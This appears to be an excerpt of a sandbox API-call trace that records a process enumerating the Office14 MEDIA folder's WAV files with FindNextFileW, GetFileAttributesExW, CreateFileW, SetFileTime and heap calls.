ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x23570, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCPS.DLL", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf009660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xfdb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDCAT.DLL", cAlternateFileName="")) returned 1 [0079.183] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0079.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.183] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" (normalized: "c:\\program files\\microsoft office\\office14\\media"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" (normalized: "c:\\program files\\microsoft office\\office14\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.184] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.184] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.184] NtClose (Handle=0x174) returned 0x0 [0079.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.185] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0079.187] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.187] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0079.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9800 [0079.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0079.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.188] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb46b000, ftCreationTime.dwHighDateTime=0x1bfbeee, ftLastAccessTime.dwLowDateTime=0x5ed57890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb46b000, ftLastWriteTime.dwHighDateTime=0x1bfbeee, nFileSizeHigh=0x0, nFileSizeLow=0x59f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARROW.WAV", cAlternateFileName="")) returned 1 [0079.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.188] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9820 [0079.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.189] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90776900, ftCreationTime.dwHighDateTime=0x1bfbeeb, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90776900, ftLastWriteTime.dwHighDateTime=0x1bfbeeb, nFileSizeHigh=0x0, nFileSizeLow=0x2f676, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOMB.WAV", cAlternateFileName="")) returned 1 [0079.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9840 [0079.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.190] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106db200, ftCreationTime.dwHighDateTime=0x1bfc6e8, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x106db200, ftLastWriteTime.dwHighDateTime=0x1bfc6e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.WAV", cAlternateFileName="")) returned 1 [0079.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9860 [0079.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba328 [0079.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.192] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAMERA.WAV", cAlternateFileName="")) returned 1 [0079.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9880 [0079.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba3b0 [0079.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4c00) returned 0xacb2b8 [0079.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0079.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.193] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1d7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASHREG.WAV", cAlternateFileName="")) returned 1 [0079.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c98a0 [0079.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba438 [0079.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.194] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x91be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHIMES.WAV", cAlternateFileName="")) returned 1 [0079.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c98c0 [0079.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba4c0 [0079.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.195] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffbd3c00, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffbd3c00, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLICK.WAV", cAlternateFileName="")) returned 1 [0079.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c98e0 [0079.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba548 [0079.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.196] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef0cc600, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef0cc600, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="COIN.WAV", cAlternateFileName="")) returned 1 [0079.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9900 [0079.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba5d0 [0079.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.197] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x4be2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRUMROLL.WAV", cAlternateFileName="")) returned 1 [0079.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9920 [0079.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba658 [0079.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.198] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x5c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLODE.WAV", cAlternateFileName="")) returned 1 [0079.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9940 [0079.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba6e0 [0079.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.199] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb836b000, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x53822dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb836b000, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HAMMER.WAV", cAlternateFileName="")) returned 1 [0079.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9960 [0079.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba768 [0079.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.200] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x72d, dwReserved0=0x0, dwReserved1=0x0, cFileName="LASER.WAV", cAlternateFileName="")) returned 1 [0079.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9980 [0079.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba7f0 [0079.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.201] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5dc00, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x5a7913b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4b5dc00, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x3d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUSH.WAV", cAlternateFileName="")) returned 1 [0079.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c99a0 [0079.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba878 [0079.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.202] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eba3e00, ftCreationTime.dwHighDateTime=0x1bfa2b0, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eba3e00, ftLastWriteTime.dwHighDateTime=0x1bfa2b0, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUCTION.WAV", cAlternateFileName="")) returned 1 [0079.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c99c0 [0079.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba900 [0079.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.202] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TYPE.WAV", cAlternateFileName="")) returned 1 [0079.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c99e0 [0079.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba988 [0079.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.203] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdb8800, ftCreationTime.dwHighDateTime=0x1bfbeed, ftLastAccessTime.dwLowDateTime=0x7071e4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecdb8800, ftLastWriteTime.dwHighDateTime=0x1bfbeed, nFileSizeHigh=0x0, nFileSizeLow=0x35c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VOLTAGE.WAV", cAlternateFileName="")) returned 1 [0079.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 